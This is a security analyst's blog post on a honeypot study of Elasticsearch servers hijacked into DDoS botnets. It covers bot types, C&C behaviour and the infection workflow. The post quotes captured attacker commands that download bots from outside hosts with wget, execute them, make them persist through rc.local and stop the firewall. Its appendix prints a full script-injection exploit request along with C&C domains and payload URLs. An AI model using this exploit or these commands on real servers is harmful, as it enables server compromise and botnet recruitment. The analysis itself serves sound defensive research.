Markus Manzke is a Security Analyst at 8ack, an AlienVault partner

With the rise of inexpensive Virtual Servers and popular services that install insecurely by default, coupled with some juicy vulnerabilities (read: RCE - Remote Code Execution), like CVE-2015-5377 and CVE-2015-1427, this year will be an interesting one for Elasticsearch. Elasticsearch provides plenty of targets for people to exploit and create server-based botnets but in fairness it is not only Elasticsearch that suffers from critical vulnerabilities there is also ShellShock, mongodb-exploits and very recently a bug that hit WebSphere, JBoss, Jenkins and OpenNMS.

This blog post analyzes what happens if you run a vulnerable service that is connected to the internet resulting in your server becoming a compliant member of a botnet.

With our analysis we concentrate on how the infection happens, what the bots are doing and whom they communicate with, but not the code itself. For a nice read on dissecting Linux-based malware we'd suggest you read the articles from @MalwareMustDie.

Over a period of 3-months we collected more than 30 different bots, giving us enough interesting stuff to play with and analyze.





Setup

This past summer we rolled out some honeypots, designed to simulate Elasticsearch installations that are vulnerable to the latest RCE vulnerabilities, which enabled us to track and record each phase of an exploit and catch the malware to analyze what it does when executed.

The Honeypots themselves consisted of a real Elasticsearch server, and we used nginx and lua to detect and record the exploits in GET or POST requests. This allowed us to correlate and track activities, as well as bad actors across all of our honeypots. In the next blog post, we will provide details of the botnet-infrastructure.

Within 3-4 days after setup, the first scanners hit some Shodan-scanners and vuln-crawlers from organizations and universities, but also from IPs with no PRT.. A few days after setup we saw the first exploit attempts that allowed ups to fine-tune our setup.

Categorizing the Bots

The Bots we collected were ELF-executables, mostly 32-bit-binaries that wouldn’t run on a pure x64-server, but also some 64bit-versions, in opposite the perl-bots Conor Patrick caught this also with a ShellShock-Honeypot some weeks ago.

Half of the 30+ bots we collected didn’t run; the remaining 15 bots could be classified into 2 different categories:

fBots: Fire & Forget - DDoS-Bots (most of them) that just execute without further installation

iBots: more sophisticated bots who install themselves in /etc or /var that can download more modules/bots and delete the original file

The fBots are well known and nothing new and are sometimes referred to as BillGates/BillGates.lite:

xwdl/xoxo - VT - 26 / 57

udp/syn2500 VT - 27 / 56

ssss/508 VT - 12 / 56

iBots, also referred to as IptabLex/IptabLes, have been around for quite some time and were well analyzed in May 2014 and again in June 2015 by MalwareMustDie.

yf2: VT - 21 / 56

-rwxr-x--- 1 bware bware 1315556 Nov 22 11:13 68089 -rwxr-x--- 1 bware bware 1312420 Nov 23 08:43 508 -rwxr-x--- 1 bware bware 1312292 Aug 13 02:36 ssss -rwxr-x--- 1 bware bware 1223123 Nov 22 11:35 04 -rwxr-x--- 1 bware bware 1223123 Sep 15 08:02 syn25000 -rwxr-x--- 1 bware bware 1223123 Sep 17 13:09 udp -rwxr-x--- 1 bware bware 1223123 Dez 2 2014 vpcinull -rwxr-x--- 1 bware bware 1128800 Nov 20 13:58 xdg1 -rwxr-x--- 1 bware bware 1128800 Okt 6 13:33 xdwl -rwxr-x--- 1 bware bware 1128800 Dez 13 2013 xoxo -rwxr-x--- 1 bware bware 841596 Nov 24 08:10 libvent -rwxr-x--- 1 bware bware 727556 Okt 7 08:24 yf2 -rwxr-x--- 1 bware bware 87600 Nov 23 17:56 TcT

What we observed among all the bots is that their DNS names for C&C-servers, ports and fallbacks were obfuscated and are not available in plaintext when extracting the strings from the executables. Interestingly, Akamai released an analysis on XORDDoS-Botnets, performing DDoS-attacks, and it could be the case that the bots we collected are hiding such interesting information, but we did not analyze the code of the bots further, so we cannot say for sure.

Stage 1: Scan & Exploit!

Coming from stage 0 (scans that are merely just GET / - requests) there is a simple way for an attacker to land an exploit: just three requests and you are owned.

The following shows one attack, stripped down to the commands executed (you'll find a full exploit in the Appendix below):

-- download the bots 00:46:39 [alert] request: wget -O /tmp/yf1 http://114.215.149.148/yf1 00:46:40 [alert] request: wget -O /tmp/yf2 http://114.215.149.148/yf2 -- hours later ... executing the bot 05:03:21 [alert] request: chmod 777 /tmp/* 05:03:22 [alert] request: chmod 777 /tmp/yf2 & 05:03:22 [alert] request: chmod 777 /tmp/yf1 & 05:03:23 [alert] request: /tmp/yf2 & 05:03:23 [alert] request: nohup /tmp/yf2 > /dev/null 2>&1 05:03:24 [alert] request: /tmp/yf1 & 05:03:24 [alert] request: nohup /tmp/yf1 > /dev/null 2>&1 -- making changes persistent to start the bot upon next -- reboot and shutdown the firewall 05:03:25 [alert] request: echo "cd /tmp/">>/etc/rc.local 05:03:25 [alert] request: echo "/tmp/yf2">>/etc/rc.local 05:03:26 [alert] request: echo "/etc/init.d/iptables stop">>/etc/rc.local 05:03:26 [alert] request: echo "/tmp/yf1">>/etc/rc.local 05:03:27 [alert] request: echo "/etc/init.d/iptables stop">>/etc/rc.local

At this point if you had a vulnerable ElasticSearch instance running you'd be considered hacked, and if you ran it as Root the infection would be persistent and survive a reboot.

Stage 2 : Calling Home

After execution, the bots request the IP of their current C&C master. Most bots we've seen are using a DNS-name to get the IP, while we also observed some bots using included IPs, especially when no DNS-servers could be reached.





After getting the current IP, some traffic from the bot could be observed, including an identifier and some information about the system the bot runs on, reporting "On duty, Sire!"

-- some identifiers, send by bots to their masters

-==Healer==- Linux 3.16.0-0.bpo.4-amd64 2.40 -==ruirui ==- Linux 3.16.0-0.bpo.4-amd64 2.40 Linux 3.16.0-0.bpo.4-amd64 root 4*2494MHZ 3688MB 0M 172.17.0.104





After reporting itself "ready" the bots pings the master every 5 seconds, waiting for commands and targets to attack, while transmitting its own status every 30 seconds.





One variant (ssss) of those fBots occasionally requested and downloaded a file (amp.dat) from the server it initially got the bot from (http://111.74.239.61:8080/ntp.txt ); the latest version of this file consited of 14000+ IPs; it might be a list of servers that might be misused for amplification/reflection-attacks. We're not yet done checking all the IPs, but will deliver this analysis later in a a future blog post.

Stage 3: Attack!

When the C&C master promotes a new target, it's sent over to the client with a single package and the show begins:





What we've seen among all fBots: once the boss receives a target-IP it immediately fires just traffic (SYN-flood) onto a given port, either HTTP, MYSQL or otherrandom ports. The bots fire on max-speed, so any traffic originating from an infected server should easily be detected if the dc-operator enforces thresholds or monitors outgoing traffic. You definitely will see spikes.

Some notes on infection-workflow and botnet-infrastructure

A closer look on the operation of the whole botnet-infrastructure revealed an interesting workflow that functions as follows:

Scanners crawl the internet, searching for vulnerable Elasticsearch-installations; once they find one they start to execute an exploit The exploit downloads a bot from different server that hosts various bots and files After download, the scanning-server executes the bot on vulnerable installations If the bot runs, it requests the IP for the C&C-master or uses a hardcoded IP and reports itself as ready, waiting for commands Upon receiving the attack-command and the IP of a target, the attacks start





In a follow-up blog we'll take a closer look on the botnet-infrastructure itself, and analyze it more deeply.

The OTX pulses we created are:

Footnotes

it will be exploited, the question is not IF, but WHEN; scanners are scanning, 24/7

References

Appendix

Full exploit-code, as seen by our honeypots

request: "GET /_search?source={"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/yf2 http://111.222.333.444/yf2").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(" ");}sb.toString();"}}, "size": 1} HTTP/1.1", host: "my.boy.lollipop:9200"

Domains queried to get C&C - IPs

-- fBots www.zhimingge.in yy.zhimingge.in www.3xdk.com fk.appledoesnt.com www.3xdk.com

-- iBots 00120012.3322.org

List of servers that hosts various versions of bots (bot-providers)

http://111.74.239.61:8080/ssss http://111.74.239.61:8080/ntp.txt → ntp-servers http://198.15.216.27:2015/xdg1 http://111.74.239.61:8080/68089 http://111.74.239.61:8080/04 http://61.160.221.139:8000/xoxo http://222.186.30.247:8080/udp http://222.186.34.177:5656/vpcinull http://222.186.31.248:53/libvent http://114.215.149.148/yf2

current C&C-IPs from the bots we executed and analyzed

23.234.50.12 61.160.194.62 61.160.221.139 103.105.144.172 108.171.252.20 113.105.144.172 183.60.202.75 222.186.15.92 222.186.30.247 222.186.34.177 222.186.21.106 222.186.190.233 222.186.56.15

Latest Entries

Sets arriving - watching Scanners searching for Bittorrent clients

ElasticZombie - Inside an ElasticSearch - Botnet

Swell on the horizon - watching Scanners searching for Bittorrent clients

DDoS-Angriffe auf ukrainische und russische Rechenzentren

Gmail + CSP - a short analysis

Server-Botnet with massive SSH-Brute-Force-Attacks (EN)

Server-Botnetz mit massiven SSH-Brute-Force-Attacken (DE)

SHA1-basierte SSL-Zertifikate und Browserwarnungen

This is the END Also R.I.P. SSLv3

suPHP might be exploited through Shellshock

About the Author

Bio: Markus Manzke is a Security Analyst with a German partner of AlienVault's, 8ack.

Please follow 8ack on Twitter.